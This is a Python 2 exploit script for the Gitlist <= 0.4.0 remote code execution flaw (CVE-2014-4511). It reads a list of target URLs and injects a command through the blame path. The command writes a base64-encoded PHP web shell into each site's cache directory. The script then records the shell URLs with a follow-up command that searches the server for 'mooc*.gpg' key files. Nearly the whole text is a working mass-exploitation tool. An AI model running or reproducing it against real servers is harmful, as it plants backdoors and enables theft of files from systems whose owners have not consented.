#! /usr/bin/python

from commands import getoutput
import urllib
import sys
 
""" 
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Modified By. Underdog1987 (@underdog1987)
Vendor Homepage: http://gitlist.org/
Version: <= 0.4.0 & 0.5.0?
Fixed in: 0.5.0 / None?
Tested on: Debian/Raspbian
More information: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
cve: CVE-2014-4511

Usage: ./xpoitMooc.py [file with repo URL's] 
"""

print ""
print ""
print "*** Exploit Title: Gitlist <= 0.4.0 anonymous RCE ***"
print ""
print ""

if len(sys.argv) <= 1:
    print 'Usage %s: [file with repos URLs]' % sys.argv[0]
    print '  Example: python %s sites.txt' % sys.argv[0]
    sys.exit(1)
 
try:
    path="/var/www/gitlist/cache"
    payload = "PD9zeXN0ZW0odXJsZGVjb2RlKCRfR0VUWydjbWQnXSkpOz8+Cg==" # payload <?system(urldecode($_GET['cmd']));?>
    mpath = '/blame/master/""`echo {0}|base64 -d > {1}/git.ignore.php`'.format(payload, path)
    urls=open(sys.argv[1],'r')
    writter=open('remote_shells.txt','a')
    for url in urls:
        url=url.strip()
        if url.startswith(";"):
            continue;
        url = url if url[-1] != '/' else url[:-1] # remove last /
        if url.startswith("http://") or url.startswith("https://"):
            print "[+] Trying put shell in %s ..." % url
            mpath = url+ urllib.quote(mpath)
            out = getoutput("wget %s" % mpath)
            if '500' in out:
                print "    [OK] Shell dropped; go hit %s/cache/git.ignore.php?cmd=find / -name 'mooc*.gpg'" % url.rsplit('/', 1)[0]
                writter.write(url.rsplit('/', 1)[0] + "/cache/git.ignore.php?cmd=find / -name 'mooc*.gpg'\n")
            else:
                print '    [-] Failed :( Is the target an instance of GitList 0.4.0? Is the target really vulnerable?'
        else:
            print "[!] Malformed URL"
    writter.close()
    print "[+] Check all URLs with shell in file remote_shells.txt"
except Exception as e:
    if "writter" in locals() or "writter" in globals():
        writter.close()
    print "[!] Cannot continue", e

